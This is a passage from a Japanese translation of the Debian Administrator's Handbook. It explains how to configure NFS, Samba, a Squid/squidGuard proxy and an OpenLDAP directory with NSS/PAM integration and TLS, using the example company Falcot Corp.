- https://help.ubuntu.com/community/NFSv4Howto
- http://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. NFS の安全確保

Kerberos に基づくセキュリティ機能を使わない場合、NFS の利用を許可されたマシンだけが種々の要求された RPC サーバに接続できるような制限を加えることが不可欠です。なぜなら、NFS の基本的なプロトコルはネットワークから受け取った情報を信頼するからです。ファイアウォールは外部のマシンが内部のマシンのように振る舞うことを避けるために **IP なりすまし**をブロックし、NFS 共有にアクセスするように意図されたマシンだけが適切なポートにアクセスするように制限しなければいけません。

BACK TO BASICS

RPC

RPC (**Remote Procedure Call**) はリモートサービスに関する Unix 標準です。NFS は RPC サービスの 1 つです。

ディレクトリに登録する RPC サービスは **portmapper** としても知られています。NFS 問い合わせを実行することを望むクライアントは最初に **portmapper** (ポート 111 番、TCP または UDP) を呼び出し、NFS サーバの情報を要求します。通常、応答には NFS サーバのポート 2049 番 (NFS のデフォルト) が含まれます。すべての RPC サービスが必ず固定されたポートで使われる必要があるわけではありません。

NFS プロトコルの古いバージョンでは他の RPC サービスが必要で、この RPC サービスは動的に割り当てられたポートを使います。幸いなことに、NFS バージョン 4 ではポート 2049 番 (NFS 用) と 111 番 (portmapper 用) が固定されており、そのため簡単にポートにファイアウォールをかませることが可能です。

11.4.2. NFS サーバ

NFS サーバは Linux カーネルの一部です。そして Debian の提供するカーネルでは、NFS サーバをカーネルモジュールとしてビルドしています。NFS サーバを起動時に自動的に実行するには、**nfs-kernel-server** パッケージをインストールしてください。このパッケージには、対応する起動スクリプトが含まれます。

NFS サーバの設定ファイル `/etc/exports` には、ネットワークを介して利用できるようにする (**エクスポートされる**) ディレクトリをリストします。各 NFS 共有について、リストされたマシンだけがアクセスを許可されます。よりきめ細かなアクセス制御を行うには、いくつかのオプションを使います。`/etc/exports` ファイルの構文はとても単純です。

```
/directory/to/share machine1(option1,option2,...) machine2(...) ...
```

NFSv4 では、すべてのエクスポートされるディレクトリは一つの基準ディレクトリの下位に属さなければいけません。また、その基準ディレクトリは必ずエクスポートされ、オプション fsid=0 または fsid=root で識別されなければいけません。これらの点に注意してください。

各マシンは DNS 名か IP アドレスのどちらか一方を使って識別されます。マシン群全体を指定するには、*.falcot.com などの構文を使うか 192.168.0.0/255.255.255.0 や 192.168.0.0/24 などの IP アドレス範囲を使います。

ディレクトリはデフォルトで (または ro オプションを使えば) 読み込み専用として利用できるようにされます。rw オプションを使えば読み書きアクセスが許可されます。典型的に NFS クライアントは root だけが使えるポート (言い換えれば、1024 番よりも低い番号のポート) から接続します。高いポート番号を使うクライアントからの接続を受け入れるには、insecure オプションを使います (secure オプションは暗黙的に有効化されていますが、明示する必要があればオプションを明示することも可能です)。

デフォルトの状態では、サーバが NFS 問い合わせに応答するのは、現在のディスク操作が完了した (sync オプション) 後です。これを無効化するには、async オプションを使います。非同期書き込みを使うことで、性能はほんの少し向上しますが、信頼性は低下します。なぜなら、書き込み確認とディスクへの実際の書き込みの間にサーバがクラッシュした場合に、データを損失する危険性があるからです。デフォルト値が sync に変更されたのは最近なので (NFS バージョンによってデフォルト値が違うので)、明確に sync オプションを設定することを推奨します。

NFS クライアントがファイルシステムに root 権限でアクセスすることを許可しないために、サーバは root ユーザからのすべての問い合わせを nobody ユーザからの問い合わせとして処理します。この挙動は root_squash オプションを使った場合の挙動に対応し、root_squash オプションはデフォルトで有効化されています。no_root_squash オプションを使うことで、この挙動は無効化されますが、no_root_squash オプションは危険であり管理されない環境で使うべきではありません。anonuid=**uid** と anongid=**gid** オプションを使うことで、UID/GID 65534 (これは nobody ユーザと nogroup グループに対応します) の代わりに使う別の偽ユーザを指定することが可能です。

NFSv4 では sec オプションを追加してセキュリティレベルを指定することが可能です。デフォルト設定の sec=sys は特別なセキュリティ機能を有効化しません。sec=krb5 は認証機能だけを有効化します。sec=krb5i は認証と整合性保護機能を有効化します。sec=krb5p はすべての機能、すなわち認証、整合性保護、プライバシー保護機能 (データ暗号化機能を含みます) を有効化します。これらを使うには、Kerberos サービスを動作させる必要があります (Kerberos サービスについては本書で解説されていません)。

他のオプションも利用できます。オプションは `exports(5)` マニュアルページで説明されています。

CAUTION

初回インストール

/etc/init.d/nfs-kernel-server 起動スクリプトは /etc/exports に 1 つ以上の NFS 共有が含まれる場合にサーバを起動しますが、初期状態の /etc/exports には NFS 共有エントリが含まれないので、初回インストール時に NFS サーバは起動されません。/etc/exports ファイルを編集して適切なエントリを含めたら、NFS サーバを以下のコマンドで起動するべきです。

```
# service nfs-kernel-server start
```

11.4.3. NFS クライアント

他のファイルシステムと同様、NFS 共有をシステムの階層構造に統合するにはマウント作業が必要です。NFS 共有ファイルシステムは特殊なので、mount コマンドと /etc/fstab ファイルにいくつかの調整を行うパラメータを含める必要があります。

例 11.22　mount コマンドを用いた手作業によるマウント

```
# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared
```

例 11.23　/etc/fstab ファイルの NFS エントリ

```
arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0
```

上の例で示したエントリを使うことで、システム起動時に arrakis サーバの /shared/ NFS ディレクトリがローカルの /srv/shared/ ディレクトリにマウントされます。ここでは読み書きアクセスを要求しています (このため rw パラメータを追加しています)。nosuid オプションは一種の保護手段で、共有ディレクトリに保存されているプログラムに設定された setuid または setgid ビットを無効化します。文書を保存するだけの目的で NFS 共有を使っている場合、noexec オプションを追加することを推奨します。これは共有ディレクトリに含まれるプログラムの実行を避けるものです。NFS サーバ上では shared ディレクトリは NFSv4 ルートエクスポート (たとえば /export/shared) の下位に属すディレクトリであり、最上位ディレクトリではありません。この点に注意してください。

nfs(5) マニュアルページでは、すべてのオプションをについて詳しく説明されています。

11.5. Samba を使った Windows 共有のセットアップ

Samba は Linux 上で SMB プロトコル (「CIFS」としても知られています) を取り扱う一連のツールを指します。Windows はネットワーク共有と共有プリンタを使うために SMB プロトコルを使います。

さらに Samba は Windows ドメインコントローラとして振る舞うことも可能です。Samba は Linux サーバと Windows が実行されているオフィスデスクトップマシンを完璧に統合する卓越したツールです。

11.5.1. Samba サーバ

samba パッケージには、Samba 4 の主要な 2 種類のサーバ `smbd` と `nmbd` が含まれます。

DOCUMENTATION
詳細情報

Samba サーバは非常に細かく設定できますし、多目的に使えます。そして、Samba は全く異なる要求やネットワークアーキテクチャに応じてさまざまな用途に使われます。本書では、Samba を独立型サーバとして使う用途に注目します。しかし、Samba を NT4 ドメインコントローラとして使ったり、完全な Active Directory ドメインコントローラとして使ったり、既存のドメイン (Windows サーバによってこれを管理することも可能です) の単なるメンバとして使ったりすることも可能です。

samba-doc パッケージには大量のコメント済み例ファイルが含まれ、これらは `/usr/share/doc/samba-doc/examples/` に保存されています。

TOOL
認証に Windows サーバを使う

Winbind を使うことで、システム管理者は Windows サーバを認証サーバとして使う選択肢を与えられます。Winbind は PAM と NSS をうまく統合します。このことにより、Windows ドメインの全ユーザが自動的にアカウントを取得できる Linux マシン群をセットアップすることが可能です。

より詳しい情報は `/usr/share/doc/samba-doc/examples/pam_winbind/` ディレクトリに含まれるファイルで説明されています。

debconf を使った設定

samba パッケージは初回インストール時に最低限の設定を行いますが、設定を適用するには実際に `dpkg-reconfigure samba-common` を実行するべきです。

最初の質問で、Samba サーバが所属するワークグループの名前を尋ねられます (Falcot Corp の場合、この質問に対する回答は FALCOTNET です)。

次の質問で、DHCP デーモンによって提供される情報を使って WINS サーバを識別するか否かを尋ねられます。Falcot Corp の管理者はこのオプションを拒否しました。なぜなら、管理者は Samba サーバ自体を WINS サーバとして利用する予定だからです。

手作業による設定

smb.conf の変更　Falcot の用途に対応させるためには、`/etc/samba/smb.conf` 設定ファイルに含まれる他のオプションを変更することが必要です。以下の抜粋は [global] セクションに対する変更点を要約したものです。

```
[global]

## 閲覧および身元確認 ###

# Samba サーバが所属するワークグループおよび NT ドメイン名に変更してください。
   workgroup = FALCOTNET

# 以下は Windows Internet Name Serving サポートを設定します。WINS Support
```

```
# オプションを yes に設定すると Samba の NMBD が WINS サーバとして機能します。
   wins support = yes ❶

[...]

####### 認証 #######

# Server role オプションは Samba の動作モードを設定します。
# 設定できる値は "standalone server"、"member server"、"classic primary
# domain controller"、"classic backup domain controller"、"active
# directory domain controller" のうちどれか 1 つです。
#
# 多くの場合 "standalone sever" または "member server" を設定すると
# 良いでしょう。"active directory domain controller" を設定する場合、
# 事前に "samba-tool domain provision" を実行し、
# データベースを消去して新しいドメインを作成する必要があります。
   server role = standalone server

# security オプションの推奨設定は "security = user" です。この場合、Samba サーバ
# にアクセスするユーザはこのサーバの Unix アカウントを持っていなければいけません。
   security = user ❷

[...]
```

❶ Samba がローカルネットワークの Netbios ネームサーバ (WINS) として振る舞うことを意味します。

❷ これは security パラメータのデフォルト値です。しかしながら、security パラメータは Samba 設定の要ですから、明示的に指定することをお勧めします。各ユーザは、共有の種類に関わらず必ず共有にアクセスする前に認証を必要とします。

ユーザの追加　各 Samba ユーザはサーバにアカウントを持っていなければいけません。このため管理者は最初に Unix アカウントを作成し、そのアカウントを Samba のデータベースに登録する必要があります。Unix アカウントを作成する段階は通常通り行います (たとえば adduser を使います)。

既存のユーザを Samba データベースに追加するには、`smbpasswd -a` **`user`** コマンドを実行します。コマンドは対話的にパスワードを尋ねます。

ユーザを削除するには、`smbpasswd -x` **`user`** コマンドを実行します。Samba アカウントを一時的に利用できなくしたり (`smbpasswd -d` **`user`** を使います)、もう一度利用できるようにしたり (`smbpasswd -e` **`user`** を使います) することも可能です。

11.5.2. Samba クライアント

Samba のクライアント機能を使うことで、Linux マシンは Windows 共有と共有プリンタへアクセスすることが可能になります。必要なプログラムは **cifs-utils** と **smbclient** パッケージに含まれます。

smbclient プログラム

smbclient プログラムは SMB サーバに問い合わせを行います。特定のユーザ名を使ってサーバに接続するには -U **user** オプションを使います。smbclient //**server**/**share** はコマンドライン FTP クライアントに類似した対話的方法を使って共有にアクセスします。smbclient -L **server** は対象のサーバで利用できる (見える) 共有を全部リストします。

Windows 共有のマウント

mount コマンドを使うことで、Windows 共有を Linux ファイルシステム階層にマウントすることが可能になります (**cifs-utils** の提供する mount.cifs の助けを借ります)。

例 11.24　Windows 共有をマウントする

```
mount -t cifs //arrakis/shared /shared \
      -o credentials=/etc/smb-credentials
```

/etc/smb-credentials ファイル (ユーザはこのファイルを読み込むことはできません) は以下の書式で書かれています。

```
username = user
password = password
```

コマンドラインで指定できるオプションは他にも存在します。オプションの完全なリストは mount.cifs(8) マニュアルページに書かれています。オプションの中でも特に次の 2 種類は興味深いです。uid と gid を使うことで、マウントされたことで利用できるようになったファイルの所有者とグループを指定したものに強制することが可能になります。これを指定することで、root 以外のユーザもマウント先にアクセスできるようになります。

/etc/fstab の中に設定を書いて、Windows 共有をマウントすることも可能です。

```
//server/shared /shared cifs credentials=/etc/smb-credentials
```

SMB/CIFS 共有をアンマウントするには、標準的な umount コマンドを使います。

共有プリンタを用いた印刷

CUPS は Linux ワークステーションから Windows マシンによって共有されているプリンタに印刷を行う洗練された解決策です。**smbclient** がインストールされている場合、CUPS を使うことで、Windows 共有プリンタを自動的にインストールすることが可能です。

以下に必要な各段階を示します。

- CUPS 設定インターフェース http://localhost:631/admin にアクセスします。
- 「Add Printer」をクリックします。
- プリンタデバイスを選択し、「Windows Printer via SAMBA」を選んでください。

- ネットワークプリンタの接続 URI を入力します。URI は以下の書式を使うべきです。

  smb://**user**:**password@server**/**printer**

- プリンタを一意に識別する名前を入力してください。その後、プリンタの説明と場所を入力してください。これらは、プリンタの利用者が印刷に使うプリンタを識別できるように、利用者に表示される文字列です。
- プリンタの製造者/モデルを指示するか、使用するプリンタの説明ファイル (PPD) を直接提供します。

これで、プリンタが利用できるようになりました!

11.6. HTTP/FTP プロキシ

HTTP/FTP プロキシは HTTP または FTP 接続の仲介者として機能します。HTTP/FTP プロキシの役割は 2 種類あります。

- キャッシュ。最近ダウンロードされた文書をローカルにコピーします。これはダウンロードを重複して行うことを避ける役割を果たします。
- サーバのフィルタリング。プロキシの利用が強制されている場合 (そしてプロキシを介さない外部への接続がブロックされる場合)、プロキシは接続要求を許可するか否かを決定することが可能です。

Falcot Corp はプロキシサーバとして Squid を選びました。

11.6.1. インストール

squid3 Debian パッケージには、モジュール式 (キャッシュ) プロキシだけが含まれます。Squid をフィルタリングサーバとして使うには、追加で **squidguard** パッケージをインストールする必要があります。加えて、**squid-cgi** には、Squid プロキシ用の問い合わせおよび管理インターフェースが含まれます。

インストールの前に、システムが自分の完全な名前を識別できるか確認することを忘れないでください。すなわち `hostname -f` が完全修飾名 (ドメイン名を含むホスト名) を返すことを確認してください。これに失敗した場合、`/etc/hosts` ファイルを編集して、システムの完全な名前 (たとえば arrakis.falcot.com など) を書き込むべきです。潜在的な名前の衝突を避けるには、ネットワーク管理者に公認コンピュータ名の妥当性を確認するべきです。

11.6.2. キャッシュの設定

キャッシュサーバを有効化するには、`/etc/squid3/squid.conf` 設定ファイルを編集し、ローカルネットワークからのマシンがプロキシを介して問い合わせを実行することを許可するだけで簡単に可能です。以下の例は Falcot Corp の管理者の行った変更を表しています。

例 11.25　/etc/squid3/squid.conf ファイル (抜粋)

```
# クライアントからのアクセスを許可するにはここにルールを書いてください
```

```
# 以下はローカルネットワークからのアクセスを許可するルール
# の一例です。IP アドレスリストを HTTP アクセスを許可する
# (内部) IP ネットワークに合わたものに変更してください。
acl our_networks src 192.168.1.0/24 192.168.2.0/24
http_access allow our_networks
http_access allow localhost
# 最後にその他のクライアントがプロキシへアクセスすることを拒否します。
http_access deny all
```

11.6.3. フィルタの設定

squid 自身はフィルタリングを実行しません。フィルタリング作業は squidGuard に委任されています。squid を設定して squidGuard と協力するようにしなければいけません。これを行うには、以下の指示文を /etc/squid3/squid.conf ファイルに追加します。

```
url_rewrite_program /usr/bin/squidGuard -c /etc/squid3/squidGuard.conf
```

/usr/share/doc/squidguard/examples/squidGuard.cgi.gz をたたき台として使い、/usr/lib/cgi-bin/squidGuard.cgi CGI プログラムをインストールすることが必要です。このスクリプトの $proxy と $proxymaster 変数 (それぞれプロキシの名前と管理者の連絡用電子メールアドレスです) を変更する必要があります。$image と $redirect 変数は問い合わせが拒否されたことを表現する既存の画像を設定します。

このフィルタを有効化するには、service squid3 reload コマンドを使います。しかしながら、**squidguard** パッケージはデフォルトで何もフィルタリングしません。フィルタリングポリシーを定義するのは管理者の仕事です。これを行うには、/etc/squid3/squidGuard.conf ファイルを作成します (必要ならば /etc/squidguard/squidGuard.conf.default をテンプレートとして使います)。

squidGuard 設定ファイル (またはその中で言及しているドメインまたは URL のリストの 1 つ) を変更したら、毎回 update-squidguard を使って作業データベースを再生成しなければいけません。設定ファイルの構文は以下のウェブサイトで説明されています。

➡ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE **DansGuardian**	**dansguardian** パッケージは **squidguard** の代替品です。dansguardian は単純に禁止された URL のブラックリストを取り扱うだけではありません。PICS システム (**Platform for Internet Content Selection**) の利点を駆使してページ内容を動的に解析することで、ページを許可するか否かを判断することが可能です。

11.7. LDAP ディレクトリ

OpenLDAP は LDAP プロトコルの実装です。言い換えれば、OpenLDAP はディレクトリを保存するために設計された特製データベースです。OpenLDAP が最もよく使われる用途は、LDAP サーバを使ってユーザアカウントと関連するパーミッションの中央管理を行う場合です。さらに、LDAP データベースは簡単に複製できるので、複数の同期された LDAP サーバをセットアップすることが可能になります。ネットワークとユーザの数が急速に多くなった場合でも、複数のサーバ間で負荷のバランスをとることが可能です。

LDAP データは階層的に構造化されています。LDAP データの構造は「スキーマ」によって定義され、スキーマはデータベースに保存できるオブジェクトの種類をその属性リストと一緒に説明するものです。データベース内の特定のオブジェクトを参照するために使われる構文はデータ構造に依存し、構文の複雑さはデータ構造の複雑さに対応します。

11.7.1. インストール

OpenLDAP サーバは **slapd** パッケージに含まれます。LDAP サーバと情報をやり取りするためのコマンドラインツールは **ldap-utils** パッケージに含まれます。

通常 **slapd** のインストール時に質問される事項の数は少ないので、作られたデータベースは要求を満足するものにはならないでしょう。幸いなことに `dpkg-reconfigure slapd` を使えば簡単に LDAP データベースをより詳細に再設定することが可能です。

- OpenLDAP サーバの設定を省略しますか? LDAP サービスを設定するので当然「いいえ」を選びます。
- DNS ドメイン名。「falcot.com」と入力します。
- 組織名。「Falcot Corp」と入力します。
- 管理者のパスワードを入力します。
- 利用するデータベースバックエンド。「MDB」を選びます。
- **slapd** をパージした時にデータベースを削除しますか? 間違ってデータベースを失う危険性を増やすのは得策ではありませんから「いいえ」を選びます。
- 古いデータベースを移動しますか? この質問はデータベースが既に存在するにも関わらず設定を行おうとした場合に表示されます。たとえば最初のインストールの直後に `dpkg-reconfigure slapd` を実行する場合など、空っぽのデータベースから設定を再開したい場合、「はい」を選びます。
- LDAPv2 プロトコルを許可しますか? 許可する意味がないので「いいえ」を選びます。本書で使うツールはすべて LDAPv3 プロトコルを理解します。

BACK TO BASICS

LDIF フォーマット

LDIF ファイル (**LDAP Data Interchange Format**) は移植可能なテキストファイルで、LDAP データベース (またはデータベースの一部) の内容を説明しています。LDIF ファイルを使って、他の LDAP サーバにデータを投入することが可能です。

以下の問い合わせによって実例を示す通り、最低限のデータベースが設定されています。

```
$ ldapsearch -x -b dc=falcot,dc=com
# extended LDIF
#
# LDAPv3
# base <dc=falcot,dc=com> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# falcot.com
dn: dc=falcot,dc=com
```

```
objectClass: top
objectClass: dcObject
objectClass: organization
o: Falcot Corp
dc: falcot

# admin, falcot.com
dn: cn=admin,dc=falcot,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2
```

この問い合わせの結果 2 種類のオブジェクトが返されました。具体的に言えば、組織自身と管理ユーザが返されました。

11.7.2. ディレクトリへの書き込み

空っぽのデータベースは全く役に立たないので、すべての存在するディレクトリをデータベースに投入することにします。ここで存在するディレクトリとはユーザ、グループ、サービス、ホスト名データベースなどを指します。

migrationtools パッケージには、標準的な Unix ディレクトリ (/etc/passwd、/etc/group、/etc/services、/etc/hosts など) からのデータを展開するための一連のスクリプトが含まれます。スクリプトを使ってデータを変換し、LDAP データベースに投入します。

migrationtools パッケージをインストールしたら、必ず /etc/migrationtools/migrate_common.ph を編集してください。つまり、IGNORE_UID_BELOW と IGNORE_GID_BELOW オプションを編集して (コメント解除するだけで十分です)、DEFAULT_MAIL_DOMAIN と DEFAULT_BASE を更新する必要があります。

実際の移行操作は以下の通り migrate_all_online.sh コマンドを使って行います。

```
# cd /usr/share/migrationtools
# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh
```

migrate_all_online.sh から LDAP データベースに移行するデータの種類に関する数個の質問を尋ねられます。表 11.1 には Falcot の使用例で使った回答がまとめられています。

上の例では ETC_ALIASES=/dev/null を指定することで意図的に /etc/aliases ファイルの移行を行いませんでした。なぜなら、Debian の提供する標準的なスキーマには、このスクリプトが電子メールアドレスを表現するために使う構造が含まれないからです。このデータをディレクトリに統合したい場合、標準的なスキーマに /etc/ldap/schema/misc.schema ファイルを追加するべきです。

質問	回答
X.500 命名コンテキスト	dc=falcot,dc=com
LDAP サーバのホスト名	localhost
管理者の識別名	cn=admin,dc=falcot,dc=com
認証情報の紐付け	LDAP データベース管理用パスワード
DUAConfigProfile を作成	no

表 11.1　migrate_all_online.sh スクリプトからの質問に対する回答

TOOL

LDAP ディレクトリの閲覧

jxplorer コマンド (同名のパッケージに含まれます) は LDAP データベースを閲覧および編集することが可能なグラフィカルツールです。jxplorer コマンドは興味深いツールで、このツールを使うことで管理者は LDAP データの階層構造をわかりやすく概観することが可能です。

ldapadd コマンドの -c オプションの利用について触れておきます。このオプションはエラーが起きた場合に処理を停止しないように要求するものです。このオプションを使うことが必要です。なぜなら、/etc/services を変換する際に、無視しても問題ない数個のエラーが起きることが多いからです。

11.7.3. LDAP を用いたアカウントの管理

これで LDAP データベースにいくつかの実用的な情報が含まれるようになりましたので、このデータを使うように設定します。この節では、さまざまなシステムディレクトリが LDAP データベースを使うように Linux システムを設定する方法に注目します。

NSS の設定

NSS システム (Name Service Switch、補注「 NSS とシステムデータベース」158 ページを参照してください) はシステムディレクトリの情報を定義したり取得したりするために設計されたモジュール式システムです。NSS 用のデータ参照元として LDAP を使うには、**libnss-ldap** パッケージをインストールする必要があります。**libnss-ldap** パッケージのインストール中に数個の質問が行われます。ここで使った回答は表 11.2 にまとめられています。

そして、/etc/nsswitch.conf ファイルを変更し、最近インストールした ldap モジュールを使うように NSS を設定する必要があります。

例 11.26　/etc/nsswitch.conf ファイル

```
# /etc/nsswitch.conf
#
# 以下は GNU Name Service Switch 機能の設定例です。
# ‘glibc-doc’ と ‘info’ パッケージをインストール済みならば、
# ‘info libc ”Name Service Switch”’ で詳細情報を参照できます。

passwd: ldap compat
```

質問	回答
LDAP サーバの Uniform Resource Identifier	ldap://ldap.falcot.com
検索ベースの識別名	dc=falcot,dc=com
使用する LDAP バージョン	3
LDAP データベースはログインを必要としますか?	no
root への特別な LDAP 権限	はい
オーナのみ設定ファイルの読み書きができるようにしますか	no
LDAP 管理用アカウント	cn=admin,dc=falcot,dc=com
LDAP 管理用パスワード	LDAP データベース管理用パスワード

表 11.2 libnss-ldap **パッケージの設定**

```
group: ldap compat
shadow: ldap compat

hosts: files dns ldap
networks: ldap files

protocols: ldap db files
services: ldap db files
ethers: ldap db files
rpc: ldap db files

netgroup: ldap files
```

通常 `ldap` モジュールは他のモジュールよりも前に書き込みます。こうすることで、問い合わせの際に `ldap` モジュールが優先して使われます。注目すべき除外例が hosts サービスです。なぜなら、LDAP サーバに接続するには (ldap.falcot.com の名前解決を行うためには) 先に DNS を調べる必要があるからです。hosts サービスで最初 `ldap` モジュールを使うようにすると、LDAP サーバにホスト名を問い合わせることになります。しかし、名前解決を担当している LDAP サーバに接続するには LDAP サーバの名前解決が必要なので、無限ループすることになります。

LDAP サーバからの応答を正式な回答として取り扱う場合 (そして特殊な状況が起きない限り `files` モジュールの使うローカルファイルからの応答を無視する場合)、以下の構文を使ってサービスを設定します。

service: ldap [NOTFOUND=return] files.

LDAP サービスを利用して問い合わせたエントリが LDAP データベースに存在しない場合、問い合わせに対する応答は「not existing」になるでしょう。これは問い合わせたエントリがローカルファイルに存在するか否かに依存しません。しかし LDAP サービスが利用できない場合に限り、ローカルファイルにエントリを問い合わせます。

PAM の設定

この節では、PAM 設定 (補注「 /etc/environment と /etc/default/locale」147 ページを参照してください) を説明します。ここで説明した PAM 設定を使うことで、アプリケーションは LDAP データベースに向けて認証を要求することが可能になります。

> **CAUTION**
> **破壊された認証**
> さまざまなプログラムが使う標準的な PAM 設定の変更は慎重に行うべきです。1 つの間違いが認証を破壊し、ログインを不可能にする場合があります。このため root シェルを開いた状態を保ちながら作業を行うことが良い予防策です。こうしておけば、設定エラーが起きた場合、設定を修正して最小限の努力でサービスを再起動することが可能です。

PAM 用の LDAP モジュールは **libpam-ldap** パッケージに含まれます。**libpam-ldap** パッケージをインストールする際に、**libnss-ldap** をインストールした際にされた質問と良く似た数個の質問を尋ねられます。いくつかの設定パラメータ (LDAP サーバの URI など) は **libnss-ldap** パッケージと共有されます。ここで使った回答は表 11.3 にまとめられています。

質問	回答
LDAP 管理アカウントがローカルの root のように振る舞うことを許しますか?	はい。こうすることで、通常の passwd コマンドから LDAP データベースに保存されているパスワードを変更することが可能になります。
LDAP データベースはログインを必要としますか?	no
LDAP 管理用アカウント	cn=admin,dc=falcot,dc=com
LDAP 管理用パスワード	LDAP 管理用パスワード
パスワードに使うローカル暗号化アルゴリズム	crypt

表 11.3 libpam-ldap **の設定**

libpam-ldap をインストールすると自動的に /etc/pam.d/common-auth、/etc/pam.d/common-password、/etc/pam.d/common-account ファイルで定義されたデフォルトの PAM 設定が適用されます。このメカニズムは専用の pam-auth-update ツール (**libpam-runtime** パッケージから提供される) を使います。pam-auth-update ツールは PAM モジュールを有効化または無効化したい管理者によって実行される場合もあります。

安全な LDAP データ交換

デフォルトで、LDAP プロトコルはネットワークを平文で通信します。従って、(暗号化された) パスワードがネットワーク上をそのまま流れます。暗号化されたパスワードをネットワークから抽出することが可能ですから、パスワードは辞書型攻撃に弱いということになります。暗号化層を追加することで、このような危険性を避けることが可能です。この節のテーマは暗号化層を有効化することです。

サーバの設定　最初に LDAP サーバ用の (公開鍵と秘密鍵から成る) 鍵ペアを作成します。Falcot の管理者は鍵ペアを生成するために **easy-rsa** を再利用します (第 10.2.1.1 節「公開鍵基盤、**easy-rsa**」224 ページを参照してください)。./build-key-server ldap.falcot.com を実行すると、数個の一般的な (場所、組織名な

どに関する) 質問を尋ねられます。「Common Name」に対する回答は**必ず** LDAP サーバの完全修飾ホスト名にしてください。今回の場合 ldap.falcot.com にしてください。

./build-key-server ldap.falcot.com は証明書を作成し、keys/ldap.falcot.com.crt ファイルに保存します。さらに対応する秘密鍵は keys/ldap.falcot.com.key に保存されます。

さらに、これらの鍵を標準的な場所にインストールし、openldap ユーザ権限で実行されている LDAP サーバが秘密鍵を読み込み可能であることを保証しなければいけません。これを行うために以下の通り実行します。

```
# adduser openldap ssl-cert
ユーザ ‘openldap’ をグループ ‘ssl-cert’ に追加しています...
ユーザ openldap をグループ ssl-cert に追加
完了。
# mv keys/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key
# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key
# chmod 0640 /etc/ssl/private/ldap.falcot.com.key
# mv newcert.pem /etc/ssl/certs/ldap.falcot.com.pem
```

slapd デーモンにこれらの鍵を暗号化に使うように伝えることも必要です。LDAP サーバの設定は動的に管理されます。つまり、設定は cn=config オブジェクト階層に対する通常の LDAP 操作によって更新され、サーバは設定を永続的なものにするために /etc/ldap/slapd.d をリアルタイムで更新します。このため、設定を更新するには ldapmodify ツールを使ってください。

例 11.27　暗号化用の slapd の設定

```
# cat >ssl.ldif <<END
dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key
-
END
# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
```

TOOL

ldapvi で LDAP ディレクトリを編集する

ldapvi を使うことで、LDAP ディレクトリの任意の部分に対する LDIF 出力を表示したり、テキストエディタでそれを変更したり、対応する LDAP 操作を実行したりすることが可能です。

このため、LDAP サーバの設定を更新するには ldapvi を使って cn=config 階層を編集する方法が便利です。

```
# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config
```

暗号化を有効化するための最後の作業が /etc/default/slapd ファイル内の SLAPD_SERVICES 変数を変更することです。ここでは慎重を期して、安全対策されていない LDAP を無効化しています。

例 11.28　/etc/default/slapd ファイル

```
# slapd.conf ファイルまたは slapd.d cn=config ディレクトリの
# デフォルト位置を指定してください。空の場合、コンパイル時のデフォルト値
# (/etc/ldap/slapd.d およびその代替の /etc/ldap/slapd.conf) が使われます。
SLAPD_CONF=

# slapd サーバを実行するシステムアカウントを指定してください。
# 空の場合、root 権限で実行します。
SLAPD_USER="openldap"

# slapd サーバを実行するシステムグループを指定してください。
# 空の場合、SLAPD_USER のメイングループ権限で実行します。
SLAPD_GROUP="openldap"

# slapd サーバの pid ファイルのパスを指定してください。未指定の場合、
# init.d スクリプトは $SLAPD_CONF (デフォルト値は /etc/ldap/slapd.conf
# です) を評価してパスを指定しようとします。
SLAPD_PIDFILE=

# 通常 slapd は TCP ポート 389 番だけにサービスを提供します。
# さらに slapd は TCP ポート 636 番 (ldaps) および unix ソケット
# にもサービスを提供できます。
# 以下はその使用例です。
# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"
SLAPD_SERVICES="ldaps:/// ldapi:///"

# SLAPD_NO_START を設定した場合、init スクリプトは
# slapd を開始および再開しません (停止だけは実行されます)。
# 別の手段で slapd を実行している場合や、通常はマシンの起動時に
# slapd を開始したくない場合、以下の行を有効化してください。
#SLAPD_NO_START=1

# SLAPD_SENTINEL_FILE がファイルへのパスに設定され、設定されたファイル
# が存在する場合、init スクリプトは slapd を開始および再開しません
# (停止だけは実行されます)。設定ファイルを編集したくない場合
# (たとえば、メンテナンス中または設定管理システムの使用中などの場合)、
# ここで指定したファイルを使って一時的に slapd の開始を無効化します。
SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# slapd は (SASL を介した) Kerberos 認証の際にデフォルトでシステムの
# keytab ファイル (/etc/krb5.keytab) を使います。別の keytab ファイルを
# 使うには、以下の行でそのファイルを指定し、以下の行を有効化してください。
#export KRB5_KTNAME=/etc/krb5.keytab

# 以下では slapd に渡す追加の引数を指定します。
```

```
SLAPD_OPTIONS=""
```

クライアントの設定　クライアント側では **libpam-ldap** と **libnss-ldap** モジュールの設定を修正し、ldaps:// URI を使うように設定する作業が必要です。

LDAP クライアントはサーバから認証を受ける必要があります。X.509 公開鍵基盤において、公開証明書は認証局 (CA) の鍵で署名されます。**easy-rsa** を使うことで、Falcot の管理者は自分自身の CA を作成しました。さらに管理者は Falcot の CA の署名を信頼するようにシステムを設定する必要があります。これを行うには、CA 証明書を /usr/local/share/ca-certificates に配置して update-ca-certificates を実行します。

```
# cp keys/ca.crt /usr/local/share/ca-certificates/falcot.crt
# update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Adding debian:falcot.pem
done.
done.
```

